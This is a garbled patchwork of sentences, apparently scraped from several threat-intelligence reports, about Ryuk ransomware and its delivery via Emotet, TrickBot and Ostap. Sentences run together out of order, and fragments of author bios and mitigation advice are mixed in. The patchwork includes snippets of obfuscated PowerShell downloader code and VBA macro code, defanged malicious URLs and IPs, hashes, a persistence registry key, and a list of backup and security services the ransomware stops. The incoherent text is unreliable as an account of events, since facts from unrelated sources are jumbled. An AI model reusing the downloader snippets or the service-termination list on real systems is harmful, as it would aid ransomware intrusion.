This ransomware has multiple variants that exhibit varying behaviors. While not all components of the investigation are included in this paper, it does focus on the TTPs and Indicators of Compromise to provide understanding of the attack chain that similar organizations face on a daily basis. 185.180.199[. By following this method, we find the strongest hypothesis is not the one with the most verifying evidence, but the one with the least falsifying evidence. "DoWnL`O`AdFIle"($Ufiayanxhyox, $Ibluqjxnvox);$Slsqjnufdefpr='Jcerpxsv';If ((&('G'+'et'+'-Item') $Ibluqjxnvox). The attackers also used scheduled tasks to achieve persistence. One of the functions we often see in ransomware samples is that they will not execute if the victim’s system language is one of the following: That was October 2017. Ransomware more than often attacks enterprises than individuals. As such, Ryuk …

We try not only to seek verifying evidence but also actively try to find evidence that falsifies a hypothesis. After identifying files to encrypt, this ransomware deletes backups and shadow copies of files and system volumes to prevent recovery of encrypted files. Artifacts do not all appear at once; a new piece of evidence unearthed years after an attack can shine a different light on an investigation and introduce new challenges to current assumptions. In this capacity, he worked alongside federal investigators and various DoD, CIA, FBI, NSA, and NIST employees. It enumerates and stops the following services running on the device: Acronis VSS Provider, AcrSch2Svc, AcronisAgent, Antivirus, BackupExecAgentAccelerator, BackupExecDeviceMediaService, BackupExecManagementService, BackupExecRPCService, BackupExecVSSProvider, DCAgent, EPSecurityService, EraserSvc11710, FA_Scheduler,IISAdmin, IMAP4Svc, klnagent, KAVFSGT, mfefire, msftesql$PROD, MSSQL$SOPHOS, MSSQLSERVER, MSSQL$VEEAMSQL2012, NetMsmqActivator, Smcinst, Sophos MCS Agent, Sophos Device Control Service, Sophos AutoUpdate Service, SQLAgent$VEEAMSQL2012, Symantec System Recovery, ReportServer$SQL_2008, RESvc, TmCCSF, TrueKeyServiceHelper, UI0Detect, VeeamMountSvc, VeeamEnterpriseManagerSvc, VeeamTransportSvc, W3Svc, wbengine, Zoolz 2 Service, To maintain persistence on the target device, this ransomware modifies the following registry entry so it can continue its activities even after the device shuts down or restarts: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run name = "svchos", type = “REG_SZ”, data = "". "), If TypeName(Application.Caption) <> "to hui" Then, Open Kirfool For Binary Lock Read Write As #Ikolpppp7, FileCopy Kirfool, Kirfool & Molert("yjysye"), Private Sub Moon_OnDisconnected(ByVal discReason As Long), If (Mulent(Array(7, 8, 6), 0, 0, 0, 0, 0, discReason)) Then, Private Sub Document_ContentControlOnExit(ByVal ContentControl As ContentControl, Cancel As Boolean). This vulnerability allows an attacker to load an arbitrary DLL file from the search path, re-infecting compromised computers with Ryuk. The actors have targeted several sectors and have asked a high ransom, 500 Bitcoin. Rather, it should have resolved to 104.47.4.36.

Ryuk, first seen in 2018, is a ransomware variant that intends to extort victims by encrypting their files and demanding a Bitcoin payment as ransom to decrypt the encrypted files. After enumerating the victim network Emotet, TrickBot, and Ryuk were propagated to various locations on victim machines, including in C:\Users\Default\AppData\Roaming\WinNetCore\, C:\Users\Public\Junk\, C:\Windows\Temp\bdcore_tmp\, C:\ProgramData\, C:\Temp\, C:\Users\User\Public\, and the Recycling Bin (a common tactic malware uses to hide itself). Following his active duty role with the USAF, Mr. Robinson went on to work in change management and system administration as a DoD Contractor. Microsoft Defender Antivirus automatically removes threats as they are detected. The subject of the second email was "Second claim for written contract No.64312", and the body of the email claimed that the recipient had "dropped obligatory payment for 3152.98 US Dollars date" and contained a malicious document named "paym_req_EC_642_77095.doc". Following these mitigation steps can help prevent ransomware attacks: It terminates the following processes before encrypting the files on the device: The following can indicate that you have this threat on the device: For information about Ryuk and other human-operated ransomware campaigns, read these blog posts: Ransomware groups continue to target healthcare, critical services, Find out ways that malware can get on your PC, Human-operated ransomware attacks: A preventable disaster, A worthy upgrade: Next-gen security on Windows 10 proves resilient against ransomware outbreaks in 2017. Fortunately, these were outdated computer names and credentials that had been subject to a global password reset during remediation efforts. Mr. Robinson is a skilled Information Security professional with experience working with diversified technologies and environments. He coordinates and leads passionately the research in advanced attacks, plays a key-role in cyberattack take-down operations and participates in the NoMoreRansom project. If the device is located in Russia by enumerating the following registry key changes: If the firewall allows the following subnet addresses: d663562d90061e0cc93253a508d1595a2cae1e17b9826aae7b5a2be66424df90(SHA-256), 23f8aa94ffb3c08a62735fe7fee5799880a8f322ce1d55ec49a13a3f85312db2(SHA-256), Keep backups so you can recover data affected by ransomware and destructive attacks. Ryuk. IOCs were also searched on various Open Source Intelligence sources (OSINT) to gather additional insight. Overview. Monitor for brute-force attempts. The author and seller of Hermes 2.1 emphasizes that he is selling is a kit and not a service. Doing so was simple because Ingalls had already deployed their MDR hardware and software into JDMH's environment for the incident response efforts. But new strains observed in the wild now belong to a multi-attack campaign that involves Emotet and TrickBot. In addition to the initial infection files, the attackers also dropped several variants of Emotet, TrickBot, and Ryuk into JDMH's environment. When investigating an incident, we form several views and compare all the artifacts to support these hypotheses. In other words, ziauddinhospital.com did not actually resolve to 181.113.134[.]226. There is no one-size-fits-all response if you have been victimized by ransomware. It is the number one reported variant of 2019, accounting for approximately a … "SPl`IT"('*');$Szvomaww='Njfjtvcblfo';foreach($Ufiayanxhyox in $Nvcwonczceycn){try{$Zgkvhhmc. One of the novel methods used to propagate the malicious payloads in JDMH's environment was via Active Directory startup, shutdown, logon, and logoff Group Policy scripts. Who did it? Keeping our eyes open for falsifying facts and constantly questioning our results are essential steps to avoid conformation bias. Figure 4 - QZ-2572 Medical report p2.doc - Emotet Downloader Encoded PowerShell Script. ]com/wp-content/rcz9/, hxxp://giatlalaocai[. Our approach is always to analyze competing hypotheses. The subject of the first email was "Notification statement for written contract No.30449", and the body of the email claimed that the recipient had "missed obligatory compensation for 1481.67 US Dollars date" and contained a malicious document named "cl_inf_HC_163_86818.doc".

All three malicious documents contain Ostap malware, using the same malicious VBA macro which loads a malicious javascript file named "Dsaow.GaerIok.jse". To recover files, you can restore backups. This ransomware is typically delivered by human-operated ransomware campaigns to enterprise networks using various methods. This suggests that a buyer of the kit must do some fine tuning by setting up a distribution method (spam, exploit kit, or RDP, for example) and infrastructure to make Hermes work effectively.

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